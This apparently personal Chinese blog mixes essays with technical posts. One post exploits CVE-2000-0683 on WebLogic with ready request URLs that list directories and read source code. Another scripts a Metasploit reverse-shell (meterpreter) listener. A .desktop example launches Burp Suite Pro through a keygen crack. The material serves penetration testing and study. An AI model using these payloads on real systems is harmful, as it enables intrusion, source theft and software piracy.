今天为某金融公司做测试,在系统中发现了一枚很老的漏洞 CVE-2000-0683 ,Nessus里面给出的漏洞评级是中危,但是经过测试,发现是一个危害很高的漏洞。

在以前的测试过程中还没有遇到过这个洞,也许是我孤陋寡闻了,但也许有很多人和我一样不知道的,所以在这里简单分享一下。

相关介绍

Tenable Nessus关于该漏洞的描述:

https://www.tenable.com/plugins/nessus/11604

这个漏洞利用起来很简单,只需要在URL中加入/*.shtml/就可以列目录或者读源码,例如:假设漏洞位于http://victim.com/,那么如果想要列目录,只需要请求:

http://victim.com/*.shtml/
http://victim.com/*.shtml/admin/
http://victim.com/*.shtml/config/

即可列出相应目录下的文件。

如果需要读取源代码,只需要请求

http://victim.com/*.shtml/index.jsp
http://victim.com/*.shtml/admin/login.jsp
http://victim.com/*.shtml/config/config.jsp

即可读取相应的源代码。

实战利用

以下是我的测试过程。

列目录:

读源码:

漏洞修复

内容来自相关供应商(BEA security advisory BEA00-03.00):

(1) Apply the “Show Code” vulnerability patch available from BEA Technical Support. This patch is available for:
Version:

  • The J-Engine in BEA WebLogic Enterprise 5.1.x
  • BEA WebLogic Server and Express 5.1.x
  • BEA WebLogic Server and Express 4.5.x

Action: Contact BEA Technical Support at support () bea com for patch.

(2) Once the patch has been applied, review the weblogic.propertiesfile and ensure that the following changes have been made:

weblogic.httpd.register.file=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.file=defaultFilename=index.html
weblogic.httpd.defaultServlet=file

should be changed to:

weblogic.httpd.register.*.html=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.*.html=defaultFilename=index.html
weblogic.httpd.defaultServlet=*.html

Future Service Packs for BEA WebLogic Server and Express will also contain the patch to address this vulnerability.

本漏洞分享仅供学习交流,请勿用于从事非法活动。

祸兮 福之所倚
福兮 祸之所伏

老子 道德经

今年从年初开始,心里就有一种隐隐的不详预感,而且感觉是和开车有关,果然昨天撞了一下。

算是开车以来最严重的一次事故了,后车门瘪了进去,4S店的人说要换车门,换侧板。

既觉得有点郁闷,又有一点庆幸。还好是和小轿车相撞,如果是大卡车,那此时恐怕我已经无法在这里安心码字了。

如今心里的一块石头落了地,第六感这种东西,究竟准不准呢?

且不谈这些,最近重读《道德经》,颇有感悟。这部经典,值得细细品读。

想来就如老子所说福祸相倚,这次的祸,岂不是就潜伏在此前的“福”中吗,之前开车时候所有的大意马虎、粗心分神,都是此祸之伏笔。

弱冠已过,即赴而立。岁月平添,偶积了二三阅历,对世事亦浊亦清,似是到了钻研易学之时。这一次带着“当位”的架构思想去重新解读易经的每一卦,要比以前看的时候清晰一些了。

所谓书读百遍,其益自现,希望能有更多收获,吸取些营养,届时也好来这里分享。但是读懂之前,绝不妄言。

就叙到这里吧,这次的事情要好好反省。运在自己手里攥着,命在老天爷掌上把着。

一切行事,不可不谨慎。愿诸君共好。

在以root用户运行Puppeteer程序时,遇到一些错误,这里记录下解决的过程。
首先提示一个X11错误,这是因为我在服务器上运行Chrome,而服务器没有安装桌面环境导致的。
安装以下依赖项即可,以Debian系统为例:

1
apt-get install gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget

接着就是报了一个sandbox错误,报错内容是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(node:4963) UnhandledPromiseRejectionWarning: Error: Failed to launch chrome!
[0428/104254.469304:ERROR:zygote_host_impl_linux.cc(89)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.


TROUBLESHOOTING: https://github.com/GoogleChrome/puppeteer/blob/master/docs/troubleshooting.md

at onClose (/root/monkey/node_modules/puppeteer/lib/Launcher.js:342:14)
at Interface.helper.addEventListener (/root/monkey/node_modules/puppeteer/lib/Launcher.js:331:50)
at emitNone (events.js:111:20)
at Interface.emit (events.js:208:7)
at Interface.close (readline.js:370:8)
at Socket.onend (readline.js:149:10)
at emitNone (events.js:111:20)
at Socket.emit (events.js:208:7)
at endReadableNT (_stream_readable.js:1064:12)
at _combinedTickCallback (internal/process/next_tick.js:138:11)
(node:4963) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:4963) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

不了解具体的含义,但是从sandbox来看,应该是和Chrome的安全沙箱有关,单纯的想解决这个问题,只需要在代码中加入--no-sandbox启动Chrome的参数即可。

Example:

1
2
3
4
5
6
7
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch({args: ['--no-sandbox']});
const page = await browser.newPage();
await page.goto("https://www.baidu.com");
await browser.close();
})()

Tips:

但是这样做可能会造成一些风险,主要是Chrome的sandbox会多一些安全特性(我理解的),如果是将Node的代码作为生产环境运行在产品中,还是需要谨慎一些的,确保请求的站点安全可信(最好不信)。

开头一点点废话

以前还没在博客写过有关电影的内容,其实电影一直是鄙人一大爱好。好的电影就像好书,往往给人深刻的启发。就题材角度而言,我常看的有科幻片、文艺片、历史传记片等等,很多片子其实是拿来消磨时间的,归根到底,我真正喜欢的是一些内容较为深刻,又充满灵性的电影。从内容上,能够吸引我的电影就更多了。这里本想列举几部的,但尝试在脑海里搜索一遍发现简直列举不完,公平起见,就不列了,以后有机会再慢慢为一些好的电影补上我的三言两语,算做不堪成文的“影评”吧。
这是我的第一篇影评,所以开头写上这些无关的话。以下是正文。

过春天

这次因为偶然,看到了这部叫做《过春天》的电影。香港电影,有些真的是十分有趣味。在此之前,印象最深刻的香港文艺片是《人间小团圆》,这些有味道的港片让我深深感觉到香港电影市场的包容,也觉得港片的未来很有希望。

《过春天》讲的是一个16岁青春期的小女孩佩佩,梦想着和闺蜜一起去日本泡温泉,赏樱花,通过做兼职、买手机壳来攒钱,最后因为一次相遇,而意外成了携带苹果手机从香港往深圳过关的“水客”的故事。具体的剧情就不详细描述了,有缘的看客,你可以自己去欣赏这部清新的文艺港片。

只想谈谈几点感悟。

每个青春都是一场暴风雨

每个青春里的少年就像是不规则运动的分子,在尘埃落定之前,永远也不知道,下一秒,会在哪里,遇见谁,而那个人又将怎样改变自己的一生。就像电影里的佩佩,青春期的孤独和倔强她都有,却唯独少了世故和圆滑,所以遇见谁,就会走近谁,哪怕对方是走私的“水客”,甚至是运枪的社会姐。而更多”睿智体面“的成年人,学会了选择和谁交往,又远离谁。

每个青春都是一场暴风雨,在这场雨里,难辨方向,有的人满身泥泞,有的人伤痕累累,唯独没有人能够全身而退。

每个梦想都不应该被辜负

佩佩和Joe约好去日本,赏樱花看雪,后面的果都是因为这个因,可到最后也没能实现这个简单又华丽的梦。也许,走过青春就注定了要辜负梦想?

没有到来过的爱情,也许才真的存在过

佩佩的青春里,阿豪就是划过的一道彗星。彗星又叫做扫帚星,阿豪给佩佩带来了走水的危险,带来了友情的破裂,却又让佩佩的青春从此有了波澜。在这部片子里值得肯定的一点是,导演从头到尾都没有加入情欲的画面,反而用巧妙的手法化解了山雨欲来的尴尬,很适合作为一部青春启蒙片,哈哈。

青春期的爱情,懵懂的喜欢,似是而非,似有还无,让很多人一生之中都常常追忆。可能那不是爱情,又亦或反之。

小人物的生存

社会的规则,把我们隔成了一层一层,一圈一圈。而我们的轨迹,细想来,其实从青春时期便初现端倪了。片中的水客让我想起如今的社会,大人物忙着制定规则,运筹于各自的帷幄,小人物们则在规则之间周旋,谋着各自的余生。皇天厚土,可曾将谁善待?

心头点点

还有一些感悟,细想来,皆是些零星片段,难成体系,多说无益。

引一位网友的短评了却此文吧。

过了这道关,要说英文写繁体,像鱼群挤到水面呼吸空气;进了这道门,要被监控陪笑脸,在大鱼吃小鱼的规则里谋生。没教鲨鱼游泳就扔进大海,没让城市变冷就盼望落雪,没给手枪装弹就扣动扳机,没给货船检查就驾驶出海。把飞机当成流星祈祷,把失火当成福兆祈愿。反正过得了春天,也过不了青春这道险关。

豆瓣网友-西楼尘

时间过得也不算快,2018年3月30号在杭州的记忆还很清晰,如今才时隔一年,一年里发生了一些变化。
时间过得又挺快的,2012年9月至今已经过了六年半了,社会和我们都发生了很大变化。

此去杭州,见到了大学的伙伴们。我们毕业多年又相聚在一起,交流技术,感觉就像是回到了大学时期。

那个时候我们每个周五定期会在实验室举办周会,大家轮流分享自己那一周所研究的技术,就是这样,我们一起漫步到了今天。那个时候大家分享的内容多半很粗浅,但是谁不是一开始都这样踉跄着在技术的路上前行呢,人生之路亦如此吧。

这次见面,大家都有了很大的改变,风度翩翩的少年,有的已经开始大腹便便,桀骜转为了自嘲,忧愁化作了幽默。有的人已经成家,成为了父亲,有的人还在漂泊,执着为了爱情。伙伴们的心智开始变得成熟,每个人都能在工作岗位上独当一面,我们这些人,亦是历史巨轮上的木板和螺钉。

因为爱好而聚在一起,没有利益的纠缠,伙伴之间的关系就很纯粹,那种结伴同行,感动又熟悉。

跟着他们学习,看看他们的世界,多反省自己,多翻新自己。

也谈些实际的,我们的团队,发展的还是太慢了。一个技术团队的成长,我认为首先得充分认清现状,同时谋划一个共同的目标。向着这个目标,每个人发挥出自己独特的擅长的部分,尽量克服阻碍发展的一些人性上的弱点,携手前进。

期待以后的相聚,可聊的话题会变多,武能聊技术,文能聊带娃。

有时候其实也不是一定要说话,坐坐抽烟喝酒寒暄,也挺好的。

在这个疯狂的世界,让我们静静地做一群鸟人,在这片土地努力地生活。

与人相处,自律之

严以律己,宽以待人。

人生在世,得认识到的一个真相是不能要求所有人都跟自己一样。

即使是要求别人能够站在自己的立场上理解自己,都是有点过分的,大家都是九年制义务教育,凭什么要我去理解你呢?

如果别人能够理解你,就在心里默默感恩吧。

如果别人能够理解你,还选择站在你身边,那就更应该珍惜了。

反过来想想,自己难道就能一直满足别人的期待吗?

每个人的脑路不同,脑路即思路。问题是水,脑路不同,问题之水的流向就不同,怎么能轻易做到一致呢?

所以但凡与人协作行事,其一要达成共识,其次要体谅他人的难处。

在共识的基础上,严以律己,宽以待人。

与己相处,自律之

如果说与人相处时的自律,是一种相对的自律,那么和自己相处时的自律,就是自律的一致性体现了。

自律不是一味地纠偏,取左或取右。

自律是在充分认识到人作为一种动物,内在和外在都存在一定的局限性之后,去进行探索实践过程的一种必要素质。

自律,在律眼、耳、鼻、舌、身、意。

这篇文字,虽然叫做谈自律,但自己如今还不能够做到充分地自律,记此勉励自己,继续前进,继续修行。

找Rails靠谱的编辑器是不是找了好久了?别找了,就用Simditor吧。
要如何在Rails中完美集成这样一个简洁大气又好用的编辑器呢?我们都知道,在高版本的Rails中使用CoffeeScript已经成为了一种习惯。所以本文将以CoffeeScript作为粘合剂来演示如何集成Simditor编辑器到Rails应用中,同时采用Rails原生的ActiveStorage作为上传支撑。

事先声明下我的环境配置:
Ruby: ruby 2.4.1p111 (2017-03-22 revision 58053) [x86_64-linux]
Rails: Rails 5.2.2

1. 准备工作

首先我们新建一个Rails项目,在命令行中,运行rails new Demo,待工程创建好以后我们进入Demo目录,新建一个脚手架。这里我们就以Article作为脚手架的名字,运行rails g scaffold Article title:string content:text

创建好之后,运行rails db:migrate,迁移数据库

此时,将simeditor添加到Gemfile中。修改Gemfile,加入以下内容并执行bundle(simditor需要jquery的支持)。

1
2
gem 'jquery-rails'
gem 'simditor'

并在app/assets/javascripts/application.js中加入simditor的引用,此处需要注意,下面两行代码需要添加在//= require_tree这行代码之前,否则会出错。

1
2
3
//= require jquery
//= require simditor
//= require_tree .

同时需要在app/assets/stylesheets/application.css中加入simditor的样式文件:

1
*= require simditor

启动Rails应用,在浏览器中访问/articles/new,此时的界面如下:

到这里,准备工作就完成了。

2. 修改编辑框,集成Simditor

按照Rails的命名惯例,此处编辑框textarea的ID是article_content,我们的CoffeeScript脚本中,则需用选择器来绑定这个text_area。

修改app/assets/javascripts/article.coffee,加入以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$(document).on "turbolinks:load", ->
editor = new Simditor(
textarea: $('#article_content')
toolbar: [ 'bold', 'italic', 'underline', 'strikethrough', 'color',
'code', 'blockquote', 'link', 'image', 'ol', 'ul', 'table', 'indent','outdent','alignment']
pasteImage: true,
fileKey: 'file',
upload: {
url: '/images',
params: {"content":"image"},
connectionCount: 3,
leaveConfirm: '有图片正在上传,确定要离开?'
})

再次在浏览器中访问/articles/new,界面变成了这样:

此时Simditor已经集成到了应用中了。

3. 使用ActiveStorage配置上传功能

ActiveStorage是Rails 5.2 以后推出的用于专门管理Web上传内容的组件,和ActiveRecord一样,是一个很方便同时又很强大的Rails Web开发组件。想要集成基于ActiveStorage的上传功能,首先要在我们的应用中安装ActiveStorage:

运行rails active_storage:install然后再运行rails db:migrate:

1
2
3
4
5
6
7
8
9
root@debian:~/Demo# rails active_storage:install
Copied migration 20190327123314_create_active_storage_tables.active_storage.rb from active_storage
root@debian:~/Demo# rails db:migrate
== 20190327123314 CreateActiveStorageTables: migrating ========================
-- create_table(:active_storage_blobs)
-> 0.0050s
-- create_table(:active_storage_attachments)
-> 0.0027s
== 20190327123314 CreateActiveStorageTables: migrated (0.0086s) ===============

迁移完成以后,我们新建一个Upload控制器,使用rails g controller Upload命令生成它。修改Upload控制器代码,位于app/controllers/upload_controller.rb,添加一个upload方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#app/controllers/upload_controller.rb
class UploadController < ApplicationController

skip_before_action :verify_authenticity_token, :only => [:upload]

def upload

puts "*"*64
puts params

blob = ActiveStorage::Blob.create_after_upload!(
io: params[:image],
filename: params[:image].original_filename,
content_type: params[:image].content_type
)

if blob.save
success = true
msg = 'upload success'
else
success = false
msg = "upload error"
end

render json: { :success=> success, :msg=>msg, :file_path=> rails_blob_path(blob) }

end

end


修改路由配置文件,指定我们的上传路由:

1
2
3
4
5
6
7
#config/routes.rb
Rails.application.routes.draw do
post 'images/upload' => 'upload#upload'
resources :articles
root to: 'articles#index'
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
end

还要稍微修改一下我们的articles.coffee文件,改一下其中的上传路径和参数,用于Ajax提交图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//app/assets/javascripts/articles.coffee
$(document).on "turbolinks:load", ->
editor = new Simditor(
textarea: $('#article_content')
toolbar: [ 'bold', 'italic', 'underline', 'strikethrough', 'color',
'code', 'blockquote', 'link', 'image', 'ol', 'ul', 'table', 'indent','outdent','alignment']
pasteImage: true,
fileKey: 'file',
upload: {
url: '/images/upload', //<==上传接口
fileKey: 'image', //<=参数名称
params: {"content":"image"},
connectionCount: 3,
leaveConfirm: '有图片正在上传,确定要离开?'
})

至此,已经可以在页面中正常地上传文件了,也可以直接从粘贴板复制文件,Simditor会自动上传文件:

本文涉及到的代码已经上传到Github,仓库链接:https://github.com/Chorder/RailsSimditorActiveStorageDemo

最近睡前把《Ruby元编程》作为枕边书,复习一些元编程技巧。顺手整理记录下这些技巧的同时,也为了这门语言能更广泛地传播,希望有更多的人喜欢Ruby这个神器。

一切都是对象

来到Ruby的世界,请你首先不要被这一切搞晕,实际上这些反而让Ruby的对象模型概念变得更加清晰。一切都是对象,对象是一个类,类也是一个对象。而实际上类是一个带有特殊功能的模块。

1
2
3
4
5
6
7
8
9
10
11
2.5.1 :001 > Class.superclass
=> Module
2.5.1 :002 > Module.superclass
=> Object
2.5.1 :003 > Object.superclass
=> BasicObject
2.5.1 :004 > BasicObject.superclass
=> nil
2.5.1 :005 > Kernel.class
=> Module

模块的超类是BasicObject,BasicObject才是Ruby类系统的根。BasicObject派生了Objce和Kernel,Object又派生出了Module,Module派生出Class。
这像不像道德经里所说的“道生一,一生二,二生三,三生万物”? 再说下去更迷糊了,去Ruby的世界里自己领悟吧。Ruby诞生自亚洲,一直觉得它是一门充满东方哲学的编程语言。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2.5.1 :001 > Class.ancestors
=> [Class, Module, Object, Kernel, BasicObject]
2.5.1 :002 > Class.superclass
=> Module
2.5.1 :003 > Module.ancestors
=> [Module, Object, Kernel, BasicObject]
2.5.1 :004 > Module.superclass
=> Object
2.5.1 :005 > Object.ancestors
=> [Object, Kernel, BasicObject]
2.5.1 :006 > Object.superclass
=> BasicObject
2.5.1 :007 > BasicObject.superclass
=> nil
2.5.1 :008 > Kernel.ancestors
=> [Kernel]
2.5.1 :009 > BasicObject.ancestors
=> [BasicObject]

猴子补丁(Monkey Patch)

在元编程的所有技巧中,首先需要了解的就是Ruby的“猴子补丁”,这是一种打开类的技巧。不同于其他面向对象语言,Ruby的任何类都可以在运行态打“补丁”的,称之为Monkey Patch。

例如,对字符类String,可以在任何地方打开这个类,对它添加一些方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2.5.1 :001 > class String
2.5.1 :002?> def test_method
2.5.1 :003?> return self+"AAA"
2.5.1 :004?> end
2.5.1 :005?> end
=> :test_method
2.5.1 :006 > s="aaa"
=> "aaa"
2.5.1 :007 > s.class
=> String
2.5.1 :008 > s.test_method
=> "aaaAAA"
2.5.1 :009 >

在上面的操作中,我们可以看到,对于Ruby的内置类String,我们为其添加了test_method方法,在下文中,任何的String对象便具有了新添加的这个方法,这就是Ruby打开类的魔术。

你甚至可以对内核模块Kernel打一个Monkey Patch,让你的方法在下文中得到全局支持:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2.5.1 :001 > test
Traceback (most recent call last):
3: from /home/chorder/.rvm/rubies/ruby-2.5.1/bin/irb:11:in <main>
2: from (irb):1
1: from (irb):1:in test
ArgumentError (wrong number of arguments (given 0, expected 2..3))
2.5.1 :002 > module Kernel
2.5.1 :003?> def test
2.5.1 :004?> puts "OK"
2.5.1 :005?> end
2.5.1 :006?> end
=> :test
2.5.1 :007 > test
OK
=> nil
2.5.1 :008 >

不同的是,Kernel是一个模块,需要用module关键字来打开。test方法一开始是不存在的,把它作为“补丁”加入到Kernel模块以后,就可以在下文调用了。

Monkey Patch在有些编程语言里是个贬义词,但在Ruby里,它是一个很实用的功能。

细化(refine)

如你所见,Ruby打开类的作用是如此神奇,以至于Monkey Patch一不小心可能会引发一些大的问题。因此有时候需要配合类的细化功能一起使用。

细化的用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2.5.1 :001 > module Refine
2.5.1 :002?> refine String do
2.5.1 :003 > def test
2.5.1 :004?> return self+"TEST"
2.5.1 :005?> end
2.5.1 :006?> end
2.5.1 :007?> end
=> #<refinement:String@Refine>
2.5.1 :008 > "AAA".test
Traceback (most recent call last):
2: from /home/chorder/.rvm/rubies/ruby-2.5.1/bin/irb:11:in <main>
1: from (irb):8
NoMethodError (private method test called for "AAA":String)
2.5.1 :009 > module Test
2.5.1 :010?> using Refine
2.5.1 :011?> "AAA".test
2.5.1 :012?> end
=> "AAATEST"
2.5.1 :013 >

在一个模块中使用refine关键字定义细化之后,在另一个模块中使用using关键字引入这个用于定义细化的模块,细化定义的作用于就只限于调用细化模块的模块内部。

命名空间(Name Space)

在Ruby中,使用::标识引入不同作用域中的类和模块,用于界定类和模块,防止命名冲突,也让源代码的结构更加清晰。

1
2
3
4
5
6
7
8
9
10
11
12
13
2.5.1 :001 > module A
2.5.1 :002?> module B
2.5.1 :003?> class C
2.5.1 :004?> D="Constant"
2.5.1 :005?> end
2.5.1 :006?> end
2.5.1 :007?> end
=> "Constant"
2.5.1 :008 >
2.5.1 :009 > A::B::C::D
=> "Constant"
2.5.1 :010 >

Metasploit Resource脚本是MSF框架提供的非常方便的用于组织自动化任务的工具。简单来说,resource脚本目前可以支持两种类型的指令组合,分别是MSF命令和嵌入式Ruby代码。
以下分别就两种使用方法进行演示。

这里以 multi/handler 这个用于反弹shell监听器的模块来演示。

使用makerc命令制作metasploit命令行resource脚本

执行msfconsole启动MSF控制台以后,执行如下操作:

1
2
3
4
5
6
7
8
9
10
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > makerc /root/test.rc
[*] Saving last 4 commands to /root/test.rc ...
msf5 exploit(multi/handler) >

将会在/root/目录下生成test.rc文件,其中记录着刚刚输入的所有命令。下次需要执行同样操作的时候,只需要运行msfconsole -r /root/test.rc即可载入和执行这次的命令记录。

使用run_single函数编写基于嵌入式Ruby的resource脚本

除了直接编写指令代码以外,Resource脚本还可以支持嵌入式Ruby脚本,只需要在.rc文件中使用<ruby></ruby>标签引入Ruby代码即可。

这里将上面用于启动handler模块的脚本稍微改良一下,变成一个易于使用的rc文件,代码如下:

handle.rc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

<ruby>

def init_args

args = {}

if ARGV.join('') =~ /^help$/i

args[:help] = true

return args

end

args[:payload] = ARGV.shift
args[:host] = ARGV.shift
args[:port] = ARGV.shift

return args

end


# resource process entry

begin

args = init_args

if args[:help]

print_line("Usage:\nmsfconsole handler.rc PAYLOAD HOST PORT")

return

end

#run_single("workspace handler")
run_single("use multi/handler")
run_single("set payload #{args[:payload]}")
run_single("set lhost #{args[:host]}")
run_single("set lport #{args[:port]}")

rescue ArgumentError => e

print_error("Invalid argument: #{e.message}")

return

rescue RuntimeError => e

print_error(e.message)

return

rescue ::Exception => e

raise e

end

</ruby>

将上面的代码保存为handle.rc,启动MSF控制台时,执行:

1
msfconsole -r handler.rc windows/meterpreter/reverse_tcp 0.0.0.0 4444

即可快速地配置好配备相应payload的handler监听器。

其中Ruby代码中的run_single就是用于执行MSF框架指令的方法。

MSF自带了很多方便实用的脚本,位于MSF框架目录/scripts/resource/目录下,可以参考这些脚本的写法,写出更加方便的脚本。

参考链接:

https://metasploit.help.rapid7.com/docs/resource-scripts

在Debian系Linux中,用于标识应用的启动文件.desktop file是位于/usr/share/applications目录下的,Gnome会将这些文件在菜单中展示为启动图标,也可以固定在docker bar。

打开/usr/share/applications,可以看到有很多的.desktop文件,每一个文件就对应菜单中的一个启动图标。

如何手动编辑和制作这样一个.desktop文件呢,这里以IDEA集成开发环境为例。
我的IDEA安装在/opt/idea-IC-182.4505.22/目录,IDEA的启动脚本是/opt/idea-IC-182.4505.22/bin/idea.sh。打开/opt/idea-IC-182.4505.22/目录,还可以看到IDEA的图标文件/opt/idea-IC-182.4505.22/bin/idea.png

所以我们在/opt/idea-IC-182.4505.22/目录下创建IDEA.desktop文件,内容如下:

1
2
3
4
5
6
7
8
9
10
[Desktop Entry]
Name=IDEA
Encoding=UTF-8
Exec=/opt/idea-IC-182.4505.22/bin/idea.sh
Icon=/opt/idea-IC-182.4505.22/bin/idea.png
StartupNotify=false
Terminal=false
Type=Application
#Categories=

再将IDEA.desktop通过软链接添加到/usr/share/applications目录即可。

1
ls -s /opt/idea-IC-182.4505.22/IDEA.desktop /usr/share/applications/IDEA.desktop

再次打开菜单,即可看见创建的启动图标。如果看不到,可以先注销,再重新登录即可。

再分享两个常用的.desktop文件:

burpsuite(可用在kali上)

1
2
3
4
5
6
7
8
9
10
11
[Desktop Entry]
Name=burpsuite-pro-2
Encoding=UTF-8
Exec=sh -c "java -Xbootclasspath/p:/opt/burpsuite_pro_2.0.09/burp-loader-keygen.jar -jar /opt/burpsuite_pro_2.0.09/burpsuite_pro_v2.0.09beta.jar"
Icon=kali-burpsuite.png
StartupNotify=false
Terminal=false
Type=Application
#Categories=03-webapp-analysis;03-06-web-application-proxies;
X-Kali-Package=burpsuite

JD-GUI

1
2
3
4
5
6
7
8
9
10
[Desktop Entry]
Name=JD-GUI
Encoding=UTF-8
Exec=sh -c "java -jar /opt/jd-gui-1.4.0/jd-gui-1.4.0.jar"
Icon=/usr/share/icons/hicolor/128x128/apps/jd-gui.png
StartupNotify=false
Terminal=false
Type=Application
#Categories=03-webapp-analysis;03-06-web-application-proxies;
Name[en_US]=JD-GUI
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×